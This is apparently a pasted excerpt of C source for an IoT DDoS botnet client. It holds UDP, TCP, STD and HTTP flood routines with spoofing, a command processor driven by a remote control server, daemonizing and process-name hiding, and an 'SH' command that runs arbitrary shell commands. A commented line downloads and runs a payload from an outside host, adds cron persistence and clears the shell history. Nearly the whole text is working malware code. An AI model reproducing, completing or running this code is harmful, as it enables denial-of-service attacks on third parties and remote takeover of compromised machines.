  827. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  828. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  829. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  830. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  831. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  832. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  833. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  834. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  835. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  836. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  837. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  838. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  839. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  840. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  841. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  842. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  843. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  844. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  845. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  846. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  847. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  848. };
  849. void sendHTTP(unsigned char *url, int end_time) {
  850. int end = time(NULL) + end_time;
  851. FILE *pf;
  852. char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  853.  
  854. char *command[80];
  855. sprintf(command,"wget -s -U \"");
  856. strcat(command, UA);
  857. strcat(command,"\" -q ");
  858. strcat(command, url);
  859.  
  860. while(end > time(NULL)) {
  861. UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  862. sprintf(command,"wget -s -U \"");
  863. strcat(command, UA);
  864. strcat(command,"\" -q ");
  865. strcat(command, url);
  866. system(command);
  867. }
  868. }
  869.  
  870.  
  871. /*\│/ ┌┬┐┌─┐┬─┐┌─┐ ┬┌┐┌┌┬┐┌─┐┬─┐┌┐┌┌─┐┬ ┌┬┐┌─┐┌─┐┌─┐┌┐┌┌─┐┌┬┐┌─┐┌┐┌┌─┐┬┌─┐┌─┐ \│/
  872. ─ ─ ││││ │├┬┘├┤ ││││ │ ├┤ ├┬┘│││├─┤│ ││├┤ ├─┘├┤ ││││ ││├┤ ││││ │├┤ └─┐ ─ ─
  873. /│\ ┴ ┴└─┘┴└─└─┘ ┴┘└┘ ┴ └─┘┴└─┘└┘┴ ┴┴─┘ ─┴┘└─┘┴ └─┘┘└┘└─┘─┴┘└─┘┘└┘└─┘┴└─┘└─┘ /│\*/
  874.  
  875. /* #### [ COMMAND PROCESSOR ] #### */
  876. void processCmd(int argc, unsigned char *argv[]) {
  877. int x;
  878. /* #### [ PING TEST ] #### */
  879. if(!strcmp(argv[0], "PING")) {
  880. sockprintf(mainCommSock, "PONG!");
  881. return;
  882. }
  883.  
  884. /* #### [ SEND UDP FLOOD ] #### */
  885. if(!strcmp(argv[0], "UDP")) {
  886. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  887. return;
  888. }
  889.  
  890. unsigned char *ip = argv[1];
  891. int port = atoi(argv[2]);
  892. int time = atoi(argv[3]);
  893. int spoofed = atoi(argv[4]);
  894. int packetsize = atoi(argv[5]);
  895. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  896.  
  897. if(strstr(ip, ",") != NULL) {
  898. unsigned char *hi = strtok(ip, ",");
  899. while(hi != NULL) {
  900. if(!listFork()) {
  901. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  902. _exit(0);
  903. }
  904. hi = strtok(NULL, ",");
  905. }
  906. }
  907. else {
  908. if (listFork()) { return; }
  909. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  910. _exit(0);
  911. }
  912. }
  913.  
  914. /* #### [ SEND TCP FLOOD ] #### */
  915. if(!strcmp(argv[0], "TCP")) {
  916. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  917. return;
  918. }
  919. unsigned char *ip = argv[1];
  920. int port = atoi(argv[2]);
  921. int time = atoi(argv[3]);
  922. int spoofed = atoi(argv[4]);
  923. unsigned char *flags = argv[5];
  924.  
  925. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  926. int psize = argc > 6 ? atoi(argv[6]) : 0;
  927.  
  928. if(strstr(ip, ",") != NULL) {
  929. unsigned char *hi = strtok(ip, ",");
  930. while(hi != NULL) {
  931. if(!listFork()) {
  932. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  933. _exit(0);
  934. }
  935. hi = strtok(NULL, ",");
  936. }
  937. }
  938. else {
  939. if (listFork()) { return; }
  940. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  941. _exit(0);
  942. }
  943. }
  944.  
  945. /* #### [ SEND STD FLOOD ] #### */
  946. if(!strcmp(argv[0], "STD")) {
  947. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) { return; }
  948.  
  949. unsigned char *ip = argv[1];
  950. int port = atoi(argv[2]);
  951. int time = atoi(argv[3]);
  952.  
  953. if(strstr(ip, ",") != NULL) {
  954. unsigned char *hi = strtok(ip, ",");
  955. while(hi != NULL) {
  956. if(!listFork()) {
  957. sendSTD(hi, port, time);
  958. _exit(0);
  959. }
  960. hi = strtok(NULL, ",");
  961. }
  962. }
  963. else {
  964. if (listFork()) { return; }
  965. sendSTD(ip, port, time);
  966. _exit(0);
  967. }
  968. }
  969.  
  970. /* #### [ SEND HTTP FLOOD ] #### */
  971. if(!strcmp(argv[0], "HTTP")) {
  972. if(argc < 3 || atoi(argv[2]) < 1) {
  973. return;
  974. }
  975.  
  976. unsigned char *ip = argv[1];
  977. int time = atoi(argv[2]);
  978.  
  979. if(strstr(ip, ",") != NULL) {
  980. unsigned char *hi = strtok(ip, ",");
  981. while(hi != NULL) {
  982. if(!listFork()) {
  983. int i = 0;
  984. while(i < 10){
  985. sendHTTP(ip, time);
  986. i++;
  987. }
  988. close(mainCommSock);
  989. _exit(0);
  990. }
  991. hi = strtok(NULL, ",");
  992. }
  993. }
  994. else {
  995. if (listFork()) { return; }
  996. int i = 0;
  997. while(i < 10) {
  998. sendHTTP(ip, time);
  999. i++;
  1000. }
  1001. close(mainCommSock);
  1002. _exit(0);
  1003. }
  1004. }
  1005.  
  1006. /* #### [ STOP ALL ATTACKS ] #### */
  1007. if(!strcmp(argv[0], "KILLATTK")) {
  1008. int killed = 0;
  1009. unsigned long i;
  1010. for (i = 0; i < numpids; i++) {
  1011. if (pids[i] != 0 && pids[i] != getpid()) {
  1012. kill(pids[i], 9);
  1013. killed++;
  1014. }
  1015. }
  1016. }
  1017.  
  1018. /* #### [ KICK BOTS ] #### */
  1019. if(!strcmp(argv[0], "BOTKILL")) { exit(0); }
  1020. }
  1021.  
  1022.  
  1023. /* #### [ INITIALIZE CONNECTION ] #### */
  1024. int initConnection() {
  1025. unsigned char server[4096];
  1026. memset(server, 0, 4096);
  1027. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  1028. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1029. else currentServer++;
  1030.  
  1031. strcpy(server, commServer[currentServer]);
  1032. int port = 443;
  1033. if(strchr(server, ':') != NULL) {
  1034. port = atoi(strchr(server, ':') + 1);
  1035. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1036. }
  1037. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1038. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1039. return 0;
  1040. }
  1041.  
  1042. /* #### [ OBTAIN BOT IP ADDRESS ] #### */
  1043. int getOurIP() {
  1044. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1045. if(sock == -1) return 0;
  1046.  
  1047. struct sockaddr_in serv;
  1048. memset(&serv, 0, sizeof(serv));
  1049. serv.sin_family = AF_INET;
  1050. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1051. serv.sin_port = htons(53);
  1052.  
  1053. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1054. if(err == -1) return 0;
  1055.  
  1056. struct sockaddr_in name;
  1057. socklen_t namelen = sizeof(name);
  1058. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1059. if(err == -1) return 0;
  1060. ourIP.s_addr = name.sin_addr.s_addr;
  1061. int cmdline = open("/proc/net/route", O_RDONLY);
  1062. char linebuf[4096];
  1063. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  1064. if(strstr(linebuf, "\t00000000\t") != NULL) {
  1065. unsigned char *pos = linebuf;
  1066. while(*pos != '\t') pos++;
  1067. *pos = 0;
  1068. break;
  1069. }
  1070. memset(linebuf, 0, 4096);
  1071. }
  1072. close(cmdline);
  1073.  
  1074. if(*linebuf) {
  1075. int i;
  1076. struct ifreq ifr;
  1077. strcpy(ifr.ifr_name, linebuf);
  1078. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1079. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1080. }
  1081. close(sock);
  1082. }
  1083.  
  1084. /* #### [ GET BOT ARCHITECTURE ] #### */
  1085. char *getBuild() {
  1086. #ifdef MIPS_BUILD
  1087. return "MIPS";
  1088. #elif MIPSEL_BUILD
  1089. return "MIPSEL";
  1090. #elif X86_BUILD
  1091. return "X86";
  1092. #elif ARM_BUILD
  1093. return "ARM";
  1094. #elif PPC_BUILD
  1095. return "POWERPC";
  1096. #else
  1097. return "GEMINI";
  1098. #endif
  1099. }
  1100.  
  1101. /* #### [ MAIN FUNCTION ] #### */
  1102. int main(int argc, unsigned char *argv[]) {
  1103. char *mynameis = "";
  1104. if(SERVER_LIST_SIZE <= 0) return 0;
  1105. printf("BUILD %s\n", getBuild());
  1106. strncpy(argv[0],"",strlen(argv[0]));
  1107. argv[0] = "";
  1108. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1109. srand(time(NULL) ^ getpid());
  1110. init_rand(time(NULL) ^ getpid());
  1111. pid_t pid1;
  1112. pid_t pid2;
  1113. int status;
  1114. getOurIP();
  1115. if (pid1 = fork()) {
  1116. waitpid(pid1, &status, 0);
  1117. exit(0);
  1118. }
  1119. else if (!pid1) {
  1120. if (pid2 = fork()) {
  1121. exit(0);
  1122. }
  1123. }
  1124.  
  1125. setsid();
  1126. chdir("/");
  1127. signal(SIGPIPE, SIG_IGN);
  1128.  
  1129. while(1) {
  1130. if(initConnection()) { sleep(5); continue; }
  1131. sockprintf(mainCommSock, "BUILD %s", getBuild());
  1132. //system("cd /etc/cron.hourly; rm -rf i686*; wget http://vixish.xyz/i686; chmod 777 *; ./i686; echo "exec /etc/cron.hourly/i686" >> /etc/cron.hourly/0yum-hourly.cron; rm -rf ~/.bash_history; history -c");
  1133. char commBuf[4096];
  1134. int got = 0;
  1135. int i = 0;
  1136. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  1137. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1138. unsigned int *newpids, on;
  1139. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1140. pids[on - 1] = 0;
  1141. numpids--;
  1142. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1143. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1144. free(pids);
  1145. pids = newpids;
  1146. }
  1147.  
  1148. commBuf[got] = 0x00;
  1149. trim(commBuf);
  1150.  
  1151. if(strstr(commBuf, "PING") == commBuf) {
  1152. sockprintf(mainCommSock, "PONG");
  1153. continue;
  1154. }
  1155.  
  1156. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1157. unsigned char *message = commBuf;
  1158. if(*message == '!') {
  1159. unsigned char *nickMask = message + 1;
  1160. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1161. if(*nickMask == 0x00) continue;
  1162. *(nickMask) = 0x00;
  1163. nickMask = message + 1;
  1164. message = message + strlen(nickMask) + 2;
  1165. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1166. unsigned char *command = message;
  1167. while(*message != ' ' && *message != 0x00) message++;
  1168. *message = 0x00;
  1169. message++;
  1170. unsigned char *tmpcommand = command;
  1171. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1172. if(strcmp(command, "SH") == 0) {
  1173. unsigned char buf[1024];
  1174. int command;
  1175. if (listFork()) continue;
  1176. memset(buf, 0, 1024);
  1177. szprintf(buf, "%s 2>&1", message);
  1178. command = fdpopen(buf, "r");
  1179. while(fdgets(buf, 1024, command) != NULL) {
  1180. trim(buf);
  1181. memset(buf, 0, 1024);
  1182. sleep(1);
  1183. }
  1184. fdpclose(command);
  1185. exit(0);
  1186. }
  1187.  
  1188. unsigned char *params[10];
  1189. int paramsCount = 1;
  1190. unsigned char *pch = strtok(message, " ");
  1191. params[0] = command;
  1192.  
  1193. while(pch) {
  1194. if(*pch != '\n') {
  1195. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1196. memset(params[paramsCount], 0, strlen(pch) + 1);
  1197. strcpy(params[paramsCount], pch);
  1198. paramsCount++;
  1199. }
  1200. pch = strtok(NULL, " ");
  1201. }
  1202.  
  1203. processCmd(paramsCount, params);
  1204. if(paramsCount > 1) {
  1205. int q = 1;
  1206. for(q = 1; q < paramsCount; q++) {
  1207. free(params[q]);
  1208. }
  1209. }
  1210. }
  1211. }
  1212. }
  1213. return 0;
  1214. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement